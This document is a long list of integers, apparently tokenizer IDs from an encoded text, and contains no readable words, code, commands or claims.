6737,
5953,
434,
341,
507,
6155,
294,
338,
458,
758,
51,
2726,
3365,
708,
51,
294,
588,
303,
924,
3447,
1197,
391,
12561,
45,
21520,
10825,
46,
320,
310,
3447,
1197,
342,
299,
10825,
51,
35743,
492,
310,
434,
1849,
103,
51,
1340,
868,
244,
54,
46,
979,
327,
103,
96,
53,
98,
630,
244,
53,
509,
320,
343,
648,
329,
299,
342,
51,
1340,
449,
244,
54,
64,
343,
3447,
1197,
556,
977,
299,
556,
3447,
96,
115,
988,
343,
1189,
51,
40816,
45,
103,
49,
244,
54,
49,
556,
977,
49,
244,
53,
49,
329,
312,
343,
342,
299,
556,
977,
64,
310,
339,
310,
461,
342,
64,
303,
339,
465,
1276,
294,
338,
14149,
244,
56,
51,
53,
18756,
3747,
12405,
51,
294,
338,
8688,
1674,
829,
22596,
10574,
480,
43089,
5945,
341,
31068,
51,
294,
588,
303,
924,
1175,
3447,
1197,
19152,
58,
100,
6151,
54,
299,
4515,
12976,
45,
53,
125,
56,
59,
49,
244,
57,
61,
312,
303,
924,
1175,
3447,
1197,
19152,
58,
100,
6151,
55,
299,
4515,
12976,
45,
53,
125,
58,
104,
49,
244,
57,
61,
312,
465,
924,
1175,
3447,
1197,
11856,
100,
6151,
54,
299,
4515,
12976,
45,
53,
125,
56,
59,
49,
244,
57,
53,
312,
303,
924,
1175,
3447,
1197,
11856,
100,
6151,
55,
299,
4515,
12976,
45,
53,
125,
58,
104,
49,
244,
57,
53,
312,
465,
964,
924,
3447,
1197,
4515,
12976,
45,
429,
342,
49,
648,
2409,
46,
320,
310,
3447,
1197,
3747,
299,
556,
3447,
96,
1016,
988,
310,
14479,
51,
4182,
45,
5297,
49,
327,
2278,
46,
103,
312,
310,
461,
3747,
64,
303,
339,
465,
1276,
294,
338,
5968,
331,
31068,
1492,
563,
341,
327,
40063,
46,
1716,
3458,
51,
294,
338,
1369,
458,
2277,
331,
12109,
3447,
3353,
14637,
829,
341,
727,
51,
294,
338,
294,
338,
12125,
708,
23855,
5231,
790,
666,
5723,
49,
11703,
642,
23855,
6459,
294,
338,
39205,
790,
904,
13748,
8487,
51,
294,
588,
303,
1175,
782,
2886,
45,
37110,
1529,
1880,
328,
46,
2589,
6300,
320,
310,
648,
2095,
299,
1492,
2396,
492,
310,
434,
327,
1688,
2394,
9807,
51,
9425,
18137,
100,
2124,
100,
1860,
55,
57,
46,
320,
343,
1440,
556,
14149,
1002,
459,
37110,
1492,
5150,
6546,
39,
419,
494,
3021,
847,
299,
332,
494,
1492,
638,
365,
494,
3021,
2095,
299,
332,
494,
2095,
312,
310,
339,
310,
328,
51,
1838,
45,
1454,
638,
1052,
310,
328,
51,
543,
1438,
55,
57,
45,
1688,
312,
310,
3256,
45,
120,
312,
303,
339,
465,
1276,
294,
338,
3743,
4844,
2075,
3301,
4457,
1278,
5543,
26821,
451,
294,
338,
5231,
902,
545,
31371,
51,
244,
3787,
462,
24128,
1218,
391,
22964,
51,
294,
588,
303,
5560,
648,
244,
1492,
638,
492,
303,
5560,
648,
244,
1492,
2396,
492,
303,
5560,
782,
3256,
45,
37110,
1529,
1880,
328,
46,
2589,
6300,
64,
465,
1276,
294,
338,
5968,
331,
41614,
1492,
563,
341,
1716,
3458,
64,
456,
15073,
51,
294,
588,
303,
5560,
782,
1489,
45,
4026,
1880,
317,
46,
2589,
6300,
64,
222,
222,
325,
222,
325,
12125,
63,
244,
341,
6125,
451,
3301,
6052,
904,
11825,
4824,
477,
1611,
49,
480,
904,
222,
325,
18308,
829,
1623,
6052,
347,
477,
2670,
51,
244,
5825,
904,
331,
7031,
1623,
222,
325,
31068,
1492,
6052,
49,
666,
1188,
288,
651,
11825,
2464,
3318,
451,
1565,
222,
325,
38698,
20073,
456,
7565,
327,
20213,
46,
4457,
51,
244,
11241,
22119,
2464,
49,
222,
325,
1294,
5543,
7565,
4457,
940,
425,
351,
6397,
331,
8233,
38,
222,
325,
499,
222,
1127,
222,
338,
12009,
1123,
2437,
28325,
1120,
35534,
222,
338,
222,
338,
4242,
902,
7676,
341,
2060,
391,
42239,
331,
556,
31068,
49,
503,
51,
108,
51,
391,
1557,
222,
338,
3541,
3406,
2703,
331,
3401,
1421,
2602,
327,
287,
46,
464,
380,
5835,
51,
222,
588,
222,
1592,
1175,
462,
12009,
1123,
2041,
17414,
14915,
1193,
320,
303,
496,
1806,
303,
648,
1492,
638,
365,
320,
461,
13670,
100,
7670,
100,
1375,
64,
339,
465,
12009,
1123,
365,
320,
339,
465,
12009,
1123,
45,
37110,
402,
1880,
347,
46,
2589,
6300,
303,
320,
310,
453,
7572,
347,
477,
1492,
303,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
320,
461,
244,
53,
64,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
986,
46,
2589,
6300,
303,
320,
310,
453,
7572,
347,
477,
15202,
102,
400,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
986,
46,
2589,
6300,
303,
320,
310,
986,
51,
3962,
459,
8150,
12009,
1123,
327,
2970,
13365,
303,
339,
222,
222,
130,
499,
222,
1127,
222,
338,
5680,
8302,
2437,
35534,
1120,
28325,
222,
338,
222,
338,
5680,
26452,
1218,
31068,
829,
44259,
2160,
2794,
580,
18874,
49,
480,
2794,
580,
222,
338,
902,
2208,
327,
20750,
302,
1209,
829,
2794,
1200,
1950,
347,
341,
300,
658,
311,
13270,
1168,
566,
222,
338,
222,
338,
4529,
21611,
55,
55,
57,
59,
63,
60,
51,
57,
51,
54,
51,
55,
580,
1200,
13435,
17123,
6026,
751,
708,
477,
1492,
222,
338,
1118,
1178,
1851,
727,
3654,
840,
341,
962,
2437,
503,
51,
108,
51,
2794,
409,
1482,
341,
2060,
18061,
120,
51,
222,
338,
30688,
354,
1019,
3722,
2650,
391,
3203,
580,
49,
1019,
1118,
2277,
1511,
2794,
1019,
3722,
222,
338,
2645,
49,
480,
1228,
3027,
13099,
2902,
341,
44600,
2308,
8675,
727,
51,
222,
588,
222,
1592,
1175,
462,
5680,
8302,
2041,
17414,
14915,
1193,
320,
465,
15653,
2080,
281,
7088,
2080,
64,
303,
9607,
10754,
370,
1553,
585,
100,
3917,
64,
303,
6555,
625,
2281,
32963,
64,
303,
964,
40326,
10911,
739,
283,
18844,
21512,
4160,
64,
303,
3447,
1197,
2868,
18757,
100,
9152,
64,
465,
12009,
7460,
11612,
299,
556,
12009,
7460,
492,
465,
964,
1175,
924,
3447,
1197,
244,
1199,
100,
38352,
1034,
299,
556,
3447,
1197,
320,
53,
1274,
465,
5680,
8302,
45,
16591,
6124,
9790,
49,
15653,
2080,
7088,
2080,
49,
343,
6555,
625,
32963,
49,
40326,
10911,
739,
18844,
21512,
4160,
46,
320,
603,
477,
51,
5732,
2080,
299,
7088,
2080,
64,
310,
477,
51,
30590,
299,
32963,
64,
310,
477,
51,
19625,
21512,
4160,
299,
18844,
21512,
4160,
64,
603,
434,
327,
19625,
21512,
4160,
51,
4766,
6147,
1177,
320,
343,
11612,
51,
688,
45,
10330,
5467,
393,
36754,
4306,
4973,
4823,
51,
5815,
312,
343,
11612,
51,
688,
45,
10330,
5467,
393,
36754,
1962,
19278,
4823,
51,
5815,
312,
310,
339,
603,
1553,
585,
100,
3917,
299,
556,
9607,
10754,
45,
7147,
312,
310,
18757,
100,
9152,
299,
1199,
100,
38352,
1034,
64,
303,
339,
465,
5680,
8302,
45,
37110,
402,
1880,
328,
49,
648,
1492,
2396,
46,
2589,
6300,
320,
310,
7088,
2080,
299,
15653,
2080,
51,
9169,
45,
120,
51,
15384,
61,
1046,
328,
51,
15384,
61,
1052,
310,
1553,
585,
100,
3917,
299,
556,
9607,
10754,
45,
120,
312,
310,
32963,
299,
556,
6555,
625,
45,
120,
51,
19682,
61,
1052,
310,
32963,
51,
1571,
2396,
45,
5732,
2080,
312,
310,
18844,
21512,
4160,
299,
556,
40326,
10911,
739,
45,
120,
312,
310,
18757,
100,
9152,
299,
328,
51,
19682,
61,
492,
310,
434,
327,
1454,
2396,
365,
882,
1492,
2396,
46,
320,
343,
11612,
299,
556,
12009,
7460,
45,
120,
312,
310,
339,
303,
339,
465,
40326,
10911,
739,
640,
23178,
21512,
4160,
365,
320,
310,
461,
18844,
21512,
4160,
64,
303,
339,
465,
453,
1035,
334,
8141,
34722,
100,
1357,
5122,
303,
782,
1035,
87,
2126,
9300,
12926,
1139,
4823,
45,
2278,
1197,
2060,
10574,
768,
46,
320,
310,
12009,
4823,
334,
8141,
34722,
1139,
299,
556,
578,
2126,
9300,
12926,
1139,
4823,
45,
547,
2060,
10574,
768,
49,
556,
3447,
96,
53,
2004,
310,
11612,
51,
688,
45,
287,
8141,
34722,
1139,
312,
303,
339,
465,
453,
1035,
2160,
100,
444,
5122,
303,
782,
1035,
88,
8785,
4823,
45,
739,
65,
88,
8785,
36925,
67,
2160,
4128,
46,
320,
310,
1614,
320,
343,
11612,
51,
688,
45,
909,
4242,
577,
4823,
45,
1805,
4128,
894,
310,
339,
2385,
327,
6860,
3377,
106,
46,
320,
343,
453,
5091,
341,
3773,
480,
461,
310,
339,
303,
339,
465,
453,
1035,
8214,
100,
12145,
5122,
303,
782,
1035,
7790,
30627,
4823,
45,
343,
7380,
65,
7790,
2199,
2899,
10462,
67,
17299,
46,
320,
310,
12009,
4823,
8214,
10462,
299,
419,
556,
19766,
30627,
4823,
45,
15097,
312,
310,
11612,
51,
688,
45,
9588,
10462,
312,
303,
339,
465,
496,
1806,
303,
648,
1492,
638,
365,
320,
461,
13670,
100,
1598,
100,
7670,
64,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
320,
310,
1276,
295,
338,
2242,
5264,
1354,
8740,
451,
2531,
1620,
1198,
295,
338,
1522,
494,
4051,
494,
3541,
494,
18844,
494,
20921,
295,
588,
310,
461,
327,
55,
494,
244,
56,
55,
494,
244,
54,
494,
244,
55,
494,
244,
54,
343,
494,
32963,
51,
1340,
365,
2087,
1276,
2437,
494,
2702,
8740,
588,
343,
494,
327,
19625,
21512,
4160,
51,
911,
365,
338,
244,
55,
46,
343,
494,
18757,
100,
9152,
51,
1340,
46,
343,
494,
11612,
51,
1340,
492,
303,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
328,
46,
2589,
6300,
320,
310,
328,
51,
543,
1438,
61,
45,
5732,
2080,
51,
13183,
312,
310,
328,
51,
543,
1438,
61,
45,
5732,
2080,
51,
17757,
312,
310,
1553,
585,
100,
3917,
51,
2729,
45,
120,
312,
310,
328,
51,
543,
3656,
61,
45,
30590,
51,
7068,
1052,
310,
18844,
21512,
4160,
51,
2729,
45,
120,
312,
310,
328,
51,
543,
3656,
61,
45,
22235,
100,
9152,
312,
310,
11612,
51,
2729,
45,
120,
312,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
328,
46,
2589,
6300,
320,
310,
328,
51,
3962,
459,
8150,
5680,
8302,
49,
332,
494,
7088,
2080,
312,
603,
434,
327,
2824,
882,
762,
979,
8093,
51,
316,
1501,
459,
10563,
2152,
320,
343,
328,
51,
1243,
459,
6124,
10754,
63,
244,
7173,
343,
1553,
585,
100,
3917,
51,
1243,
45,
120,
312,
1083,
328,
51,
1243,
459,
3152,
2502,
63,
244,
7173,
343,
328,
51,
3962,
45,
30590,
312,
1083,
328,
51,
3962,
459,
23178,
39933,
4160,
63,
332,
494,
18844,
21512,
4160,
312,
1083,
8093,
51,
3962,
45,
120,
49,
332,
20571,
14944,
411,
18757,
100,
9152,
312,
343,
11612,
51,
1243,
45,
120,
312,
343,
328,
51,
3962,
459,
8150,
742,
310,
339,
303,
339,
222,
130,
222,
222,
1127,
222,
338,
4242,
8302,
2437,
28325,
1120,
35534,
222,
338,
222,
338,
4242,
683,
623,
1490,
7088,
2089,
664,
17698,
5543,
580,
9568,
480,
341,
222,
338,
2060,
9568,
51,
244,
7794,
580,
18613,
341,
6575,
3541,
41614,
3406,
222,
338,
1769,
391,
341,
2060,
51,
222,
588,
222,
1592,
1175,
222,
842,
4242,
8302,
2041,
17414,
14915,
1193,
222,
128,
303,
496,
1806,
303,
648,
1492,
638,
365,
320,
461,
13670,
100,
1805,
100,
7670,
64,
339,
465,
15653,
2080,
281,
7088,
2080,
64,
303,
9607,
10754,
370,
5870,
119,
100,
3917,
64,
303,
6555,
625,
2281,
32963,
64,
303,
40326,
10911,
282,
18844,
10911,
64,
303,
3447,
2087,
18757,
100,
1978,
64,
303,
12009,
7460,
11612,
299,
556,
12009,
7460,
492,
465,
4242,
8302,
365,
320,
310,
453,
3517,
303,
339,
465,
4242,
8302,
45,
37110,
402,
1880,
1533,
49,
648,
1492,
2396,
46,
343,
2589,
6300,
320,
310,
7088,
2080,
299,
15653,
2080,
51,
9169,
45,
1151,
51,
15384,
61,
1046,
15614,
1533,
51,
15384,
61,
1052,
310,
5870,
119,
100,
3917,
299,
556,
9607,
10754,
45,
1151,
312,
310,
32963,
299,
556,
6555,
625,
45,
1151,
51,
19682,
61,
1052,
310,
32963,
51,
1571,
2396,
45,
5732,
2080,
312,
310,
18844,
10911,
299,
40326,
10911,
51,
9169,
45,
1151,
51,
15384,
61,
1046,
1533,
51,
15384,
61,
1052,
310,
18757,
100,
1978,
299,
327,
2278,
46,
1151,
51,
15384,
61,
492,
310,
434,
327,
1454,
2396,
365,
882,
1492,
2396,
46,
320,
343,
11612,
299,
556,
12009,
7460,
45,
1151,
312,
310,
339,
303,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
303,
320,
310,
453,
17424,
5264,
1354,
49,
2959,
3541,
2502,
480,
11612,
63,
310,
453,
665,
12372,
494,
14899,
299,
244,
55,
310,
453,
665,
4051,
299,
244,
56,
55,
310,
453,
665,
3541,
2502,
2095,
1620,
299,
244,
54,
310,
453,
665,
18844,
13270,
494,
18757,
299,
244,
56,
310,
453,
665,
11612,
63,
434,
5041,
49,
244,
55,
494,
3124,
451,
11612,
310,
461,
244,
56,
61,
494,
32963,
51,
1340,
365,
494,
11612,
51,
1340,
492,
303,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
328,
46,
2589,
6300,
303,
320,
310,
328,
51,
543,
1438,
61,
45,
5732,
2080,
51,
13183,
312,
310,
328,
51,
543,
1438,
61,
45,
5732,
2080,
51,
17757,
312,
310,
5870,
119,
100,
3917,
51,
2729,
45,
120,
312,
310,
328,
51,
543,
3656,
61,
45,
30590,
51,
7068,
1052,
310,
328,
51,
543,
1438,
61,
45,
19625,
10911,
51,
333,
3789,
244,
61,
312,
310,
328,
51,
543,
1438,
61,
45,
19625,
10911,
51,
333,
568,
244,
53,
3144,
312,
310,
328,
51,
543,
1438,
61,
45,
22235,
100,
1978,
312,
310,
11612,
51,
2729,
45,
120,
312,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
328,
46,
2589,
6300,
303,
320,
310,
328,
51,
3962,
459,
8150,
4242,
8302,
49,
332,
494,
7088,
2080,
312,
603,
434,
327,
2824,
882,
762,
979,
8093,
51,
316,
1501,
459,
10563,
2152,
320,
343,
328,
51,
1243,
459,
6124,
10754,
63,
244,
7173,
343,
5870,
119,
100,
3917,
51,
1243,
45,
120,
312,
1083,
328,
51,
1243,
459,
3152,
2502,
63,
244,
7173,
343,
328,
51,
3962,
45,
30590,
312,
1083,
328,
51,
3962,
459,
23178,
25280,
63,
332,
494,
18844,
10911,
312,
343,
328,
51,
3962,
459,
20571,
5409,
63,
332,
494,
18757,
100,
1978,
312,
343,
11612,
51,
1243,
45,
120,
312,
343,
328,
51,
3962,
459,
8150,
742,
310,
339,
303,
339,
222,
130,
499,
222,
1127,
222,
338,
22596,
4104,
2437,
3256,
829,
4354,
35534,
480,
28325,
222,
338,
222,
338,
11112,
962,
451,
331,
3401,
1648,
1868,
391,
3119,
2840,
10286,
8269,
391,
222,
338,
341,
1623,
962,
51,
244,
32029,
39205,
904,
14217,
391,
6051,
619,
10645,
642,
222,
338,
4141,
391,
1649,
6459,
20947,
27730,
51,
244,
15965,
2323,
27616,
222,
338,
2144,
5788,
316,
646,
49,
575,
29435,
31691,
120,
51,
244,
5825,
1200,
1649,
3518,
2308,
222,
338,
341,
6459,
20947,
4096,
2130,
1532,
904,
4643,
51,
222,
338,
222,
338,
12125,
63,
708,
3301,
5231,
4816,
545,
23855,
49,
15170,
5110,
31068,
9233,
51,
222,
338,
2791,
391,
244,
55,
99,
57,
61,
3534,
451,
10286,
1648,
545,
4643,
49,
347,
9233,
451,
840,
4665,
244,
55,
99,
54,
57,
222,
338,
3534,
2531,
2437,
992,
391,
244,
55,
99,
56,
55,
9233,
4643,
563,
341,
1716,
3458,
51,
222,
588,
222,
1592,
1175,
222,
842,
22596,
4104,
2041,
17414,
14915,
1193,
222,
128,
303,
496,
1806,
303,
648,
1492,
638,
365,
320,
461,
13670,
100,
15311,
64,
339,
465,
964,
1618,
58,
53,
62,
9546,
1197,
8269,
64,
465,
964,
1701,
65,
2278,
16420,
11849,
7429,
64,
465,
964,
648,
1492,
2396,
64,
465,
22596,
4104,
45,
93,
58,
53,
62,
9546,
1197,
41561,
46,
320,
310,
8269,
299,
41561,
64,
303,
339,
465,
22596,
4104,
45,
37110,
402,
1880,
1533,
46,
2589,
6300,
320,
310,
648,
8269,
5752,
299,
1533,
51,
15384,
55,
57,
492,
310,
1701,
65,
9546,
67,
373,
299,
556,
5068,
11530,
57,
312,
603,
22596,
2232,
16233,
299,
762,
64,
310,
2236,
327,
5089,
5752,
868,
244,
53,
46,
320,
343,
3447,
1197,
6459,
299,
1533,
51,
19682,
55,
57,
492,
343,
8269,
5752,
5928,
327,
56,
494,
6459,
51,
1340,
312,
343,
1614,
320,
419,
434,
327,
2185,
630,
762,
46,
320,
547,
16233,
299,
22596,
2232,
51,
7432,
459,
93,
51,
58,
53,
62,
742,
419,
339,
419,
373,
51,
688,
45,
2185,
51,
5555,
9546,
45,
909,
45230,
45,
7007,
4254,
343,
339,
2385,
327,
9546,
1002,
503,
46,
320,
419,
1440,
327,
10087,
5519,
1002,
46,
909,
14149,
5519,
1002,
45,
547,
503,
51,
7724,
4269,
1683,
19198,
45,
106,
312,
343,
339,
310,
339,
603,
8269,
299,
373,
51,
14315,
45,
909,
1618,
58,
53,
62,
9546,
96,
123,
51,
911,
36584,
303,
339,
465,
496,
1806,
303,
648,
1492,
2396,
365,
320,
310,
434,
327,
12631,
7429,
630,
762,
46,
320,
343,
1492,
2396,
299,
244,
56,
64,
343,
11849,
7429,
299,
556,
5068,
65,
2278,
45169,
5089,
51,
1340,
312,
343,
1614,
320,
419,
456,
327,
93,
58,
53,
62,
9546,
6459,
518,
8269,
46,
320,
547,
3447,
1197,
342,
299,
6459,
51,
390,
18037,
492,
547,
11849,
7429,
51,
688,
45,
103,
312,
547,
1492,
2396,
1475,
342,
51,
1340,
494,
244,
56,
64,
419,
339,
343,
339,
2385,
327,
9546,
42302,
503,
46,
320,
419,
11849,
7429,
299,
762,
64,
419,
1440,
556,
13383,
459,
9752,
666,
9356,
25174,
411,
503,
312,
343,
339,
310,
339,
310,
461,
1492,
2396,
64,
303,
339,
465,
496,
1806,
303,
782,
3256,
45,
37110,
1529,
1880,
328,
46,
2589,
6300,
320,
310,
328,
51,
543,
1438,
55,
57,
45,
1454,
2396,
365,
449,
244,
56,
312,
310,
456,
327,
2278,
1197,
342,
518,
11849,
7429,
46,
320,
343,
328,
51,
543,
3656,
55,
57,
45,
103,
312,
310,
339,
303,
339,
465,
496,
1806,
303,
782,
1489,
45,
4026,
1880,
328,
46,
2589,
6300,
320,
310,
328,
51,
3962,
459,
8150,
22596,
8269,
742,
603,
434,
327,
5089,
51,
1340,
630,
244,
53,
46,
320,
343,
328,
51,
3962,
10379,
2779,
13510,
310,
339,
832,
434,
327,
2824,
882,
762,
979,
8093,
51,
316,
1501,
459,
10563,
2152,
320,
343,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
8269,
51,
1340,
64,
613,
2002,
320,
419,
328,
51,
3962,
459,
5089,
3059,
494,
613,
494,
13697,
299,
332,
494,
8269,
96,
110,
2004,
343,
339,
310,
339,
310,
328,
51,
3962,
459,
8150,
742,
303,
339,
465,
1618,
58,
53,
62,
9546,
1197,
640,
9546,
7429,
365,
320,
310,
461,
8269,
51,
6371,
492,
303,
339,
222,
130,
222,
222,
1127,
222,
338,
4242,
971,
11900,
2437,
28325,
1120,
35534,
222,
338,
222,
338,
906,
18844,
13270,
4337,
49,
1429,
17011,
642,
341,
10286,
557,
8970,
49,
222,
338,
34541,
1611,
451,
10241,
3473,
26821,
451,
1221,
15053,
51,
244,
19576,
1565,
222,
338,
18844,
7345,
4160,
1224,
341,
2160,
391,
3256,
1851,
2806,
2840,
10286,
51,
222,
338,
222,
338,
906,
7470,
14739,
904,
1429,
331,
2160,
18613,
619,
17533,
50,
3647,
463,
222,
338,
29954,
581,
1221,
347,
2840,
6459,
49,
391,
545,
1674,
642,
29954,
327,
290,
29954,
100,
1376,
46,
1221,
222,
338,
15053,
64,
480,
1429,
331,
2160,
18613,
2840,
21880,
1093,
50,
77,
1042,
1607,
6459,
51,
244,
37827,
26821,
222,
338,
451,
1221,
15053,
764,
666,
1224,
331,
4242,
971,
11900,
1492,
51,
222,
338,
222,
338,
3907,
15053,
902,
545,
44071,
641,
7712,
8058,
19395,
49,
1532,
904,
8024,
222,
338,
456,
341,
21880,
1093,
50,
77,
1042,
1607,
2040,
45996,
480,
31419,
651,
3205,
456,
29954,
11703,
63,
222,
338,
222,
338,
665,
449,
332,
16180,
34368,
39,
5050,
51,
244,
9597,
49,
331,
332,
29775,
39,
1221,
458,
15659,
829,
341,
222,
338,
370,
2160,
49,
480,
11289,
51,
244,
21880,
1093,
50,
77,
1042,
1607,
5050,
11289,
1493,
29954,
575,
222,
338,
370,
493,
1725,
904,
11265,
34368,
327,
73,
1692,
36440,
566,
244,
29954,
5050,
640,
1674,
391,
764,
341,
2454,
222,
338,
370,
7928,
49,
391,
11950,
341,
1221,
1354,
2850,
391,
244,
58,
54,
55,
7037,
327,
1376,
26776,
46,
222,
338,
370,
575,
456,
23103,
50,
2605,
29954,
25174,
51,
222,
338,
222,
338,
665,
449,
2262,
23502,
562,
51,
244,
9597,
1307,
2160,
10286,
458,
4643,
49,
1773,
341,
581,
222,
338,
370,
1221,
451,
341,
2160,
51,
244,
1369,
1152,
458,
5405,
391,
2351,
50,
285,
50,
1402,
50,
10519,
222,
338,
370,
32574,
51,
244,
1369,
902,
545,
3412,
642,
21880,
1093,
50,
77,
1042,
1607,
5050,
327,
17423,
100,
19929,
46,
575,
222,
338,
370,
642,
29954,
5050,
49,
1294,
458,
1773,
1674,
347,
14149,
123,
56,
456,
32603,
100,
19929,
51,
222,
338,
222,
338,
665,
449,
332,
5981,
39,
1152,
51,
244,
9597,
331,
2160,
10286,
458,
4643,
49,
480,
341,
581,
222,
338,
370,
1221,
2038,
458,
1674,
7045,
347,
557,
45105,
341,
1426,
2611,
9321,
51,
222,
338,
370,
2643,
2301,
49,
21880,
1093,
50,
77,
1042,
1607,
332,
17423,
39,
36440,
49,
480,
1364,
29954,
36440,
642,
222,
338,
370,
1773,
244,
58,
54,
55,
3510,
5050,
51,
222,
338,
222,
338,
1691,
331,
2160,
10286,
458,
4643,
49,
2038,
458,
1307,
619,
23502,
562,
51,
244,
8786,
49,
222,
338,
1429,
331,
10286,
458,
4643,
49,
11265,
34368,
5050,
1648,
4224,
545,
1674,
391,
222,
338,
15053,
341,
1426,
2611,
9321,
51,
244,
8080,
1200,
2650,
29954,
100,
10673,
12324,
4864,
49,
222,
338,
641,
4509,
641,
2650,
341,
493,
1692,
22794,
2040,
45996,
1409,
51,
222,
588,
222,
1592,
5560,
462,
4242,
971,
11900,
2041,
17414,
14915,
1193,
222,
128,
303,
496,
1806,
303,
648,
1492,
638,
365,
320,
461,
13670,
100,
1805,
100,
697,
100,
11435,
64,
339,
222,
130,
499,
222,
1127,
222,
338,
9659,
29954,
456,
3907,
20034,
63,
244,
15053,
331,
3541,
1221,
708,
1200,
666,
641,
6546,
222,
338,
641,
341,
23103,
50,
2605,
1221,
51,
244,
12785,
456,
4184,
9275,
49,
4577,
21148,
222,
338,
29954,
17533,
5050,
902,
1348,
545,
25396,
2806,
244,
58,
54,
55,
3534,
51,
222,
338,
222,
338,
1369,
458,
7162,
1674,
1429,
5050,
904,
244,
58,
54,
55,
7037,
575,
14788,
49,
480,
7751,
1348,
1674,
222,
338,
563,
332,
2062,
493,
861,
45548,
39,
35609,
502,
347,
1364,
1152,
51,
222,
588,
222,
1592,
1175,
222,
842,
29954,
100,
2077,
971,
11900,
2041,
4242,
971,
11900,
222,
128,
303,
964,
3447,
40189,
100,
47275,
10855,
281,
453,
244,
54,
391,
244,
55,
99,
54,
59,
449,
244,
54,
3534,
303,
964,
3447,
40189,
100,
28388,
10855,
283,
453,
244,
54,
391,
244,
55,
99,
54,
59,
449,
244,
54,
3534,
465,
964,
19766,
8214,
64,
303,
964,
3447,
1197,
8214,
3656,
64,
465,
1276,
294,
338,
5042,
341,
3000,
1109,
480,
341,
11265,
34368,
29954,
581,
1221,
51,
294,
588,
303,
964,
782,
1991,
7790,
45,
2278,
1553,
585,
29768,
10022,
3447,
5870,
119,
29768,
9798,
343,
2589,
19766,
1002,
320,
310,
648,
3709,
64,
603,
8214,
51,
1896,
45,
592,
585,
29768,
312,
310,
8214,
51,
1896,
45,
43881,
29768,
312,
603,
3709,
299,
40189,
100,
47275,
51,
1340,
64,
310,
8214,
51,
1896,
1181,
2278,
2516,
2887,
3789,
244,
61,
894,
310,
8214,
51,
1896,
1181,
2278,
2516,
2887,
568,
244,
53,
125,
53,
505,
894,
310,
8214,
51,
1896,
45,
20528,
100,
47275,
312,
603,
3709,
299,
40189,
100,
28388,
51,
1340,
64,
310,
8214,
51,
1896,
1181,
2278,
2516,
2887,
3789,
244,
61,
894,
310,
8214,
51,
1896,
1181,
2278,
2516,
2887,
568,
244,
53,
125,
53,
505,
894,
310,
8214,
51,
1896,
45,
20528,
100,
28388,
312,
303,
339,
4054,
1276,
294,
338,
12983,
619,
29954,
2160,
1221,
15053,
1492,
49,
1493,
727,
294,
338,
8998,
634,
2605,
100,
391,
341,
2160,
51,
294,
338,
294,
338,
906,
2060,
25427,
341,
581,
1221,
8475,
391,
477,
964,
294,
338,
1221,
49,
664,
341,
22596,
1492,
4643,
12935,
51,
244,
2634,
940,
651,
294,
338,
642,
15453,
4184,
2854,
17536,
1019,
813,
4514,
29954,
5050,
2437,
3173,
294,
338,
1964,
5626,
11703,
347,
341,
2160,
1200,
1618,
58,
53,
62,
6459,
49,
575,
832,
11265,
34368,
294,
338,
11703,
4643,
1493,
477,
1492,
51,
294,
588,
303,
29954,
100,
2077,
971,
11900,
45,
15414,
11265,
34368,
971,
49,
12406,
971,
39483,
49,
343,
9607,
10754,
1553,
585,
29768,
49,
9607,
10754,
5870,
119,
29768,
49,
25525,
6124,
17308,
46,
343,
2589,
6153,
5196,
1002,
320,
310,
28774,
1910,
497,
42654,
40189,
971,
299,
990,
19907,
79,
388,
51,
390,
10187,
1910,
497,
42654,
45,
950,
34368,
971,
312,
310,
40189,
100,
47275,
299,
391,
12561,
45,
20528,
971,
51,
390,
2590,
16129,
1052,
310,
40189,
100,
28388,
299,
391,
12561,
45,
20528,
971,
51,
390,
5998,
29559,
1052,
310,
8214,
299,
28774,
1117,
646,
1190,
51,
7432,
492,
310,
8214,
51,
1683,
3399,
45,
36878,
49,
17308,
312,
310,
1991,
7790,
45,
592,
585,
29768,
51,
3917,
100,
3669,
49,
5870,
119,
29768,
51,
3917,
100,
3669,
312,
310,
8214,
3656,
299,
8214,
51,
1352,
492,
303,
339,
4054,
1276,
294,
338,
8663,
619,
29954,
2160,
1221,
15053,
1492,
49,
1493,
727,
8998,
294,
338,
391,
341,
2060,
327,
382,
49,
347,
1649,
30229,
49,
503,
7777,
3850,
3368,
566,
294,
588,
303,
29954,
100,
2077,
971,
11900,
45,
37110,
402,
1880,
1533,
46,
343,
2589,
6300,
49,
27721,
46430,
320,
310,
8214,
299,
28774,
1117,
646,
1190,
51,
7432,
492,
310,
40189,
100,
47275,
299,
1533,
51,
19682,
54,
59,
492,
310,
40189,
100,
28388,
299,
1533,
51,
19682,
54,
59,
492,
310,
8214,
3656,
299,
1533,
51,
19682,
54,
59,
492,
303,
339,
465,
1276,
294,
338,
1408,
341,
11265,
34368,
29954,
581,
1221,
708,
1118,
545,
1674,
347,
477,
294,
338,
14149,
3401,
51,
294,
588,
303,
35133,
640,
15414,
365,
320,
310,
1614,
320,
343,
3907,
2232,
851,
9691,
299,
990,
19907,
79,
388,
51,
11728,
2232,
459,
20213,
742,
343,
453,
2065,
16129,
480,
19805,
904,
5198,
11659,
343,
28774,
1910,
497,
42654,
851,
2314,
299,
556,
28774,
1910,
497,
42654,
45,
419,
556,
21721,
45,
54,
49,
40189,
100,
47275,
490,
419,
556,
21721,
45,
54,
49,
40189,
100,
28388,
894,
343,
461,
851,
9691,
51,
5555,
5998,
45,
112,
2314,
312,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
1440,
556,
13383,
45,
106,
312,
310,
339,
303,
339,
465,
1276,
294,
338,
12082,
341,
11289,
14019,
1221,
1493,
341,
27708,
15342,
294,
338,
664,
580,
480,
341,
3161,
3000,
1109,
51,
244,
1369,
458,
3845,
829,
12469,
294,
338,
642,
332,
1376,
463,
39,
29954,
2040,
45996,
51,
294,
588,
303,
1922,
6152,
45,
15414,
6459,
1658,
971,
49,
9607,
10754,
1553,
585,
29768,
49,
343,
9607,
10754,
5870,
119,
29768,
46,
2589,
6153,
5196,
1002,
320,
310,
8214,
51,
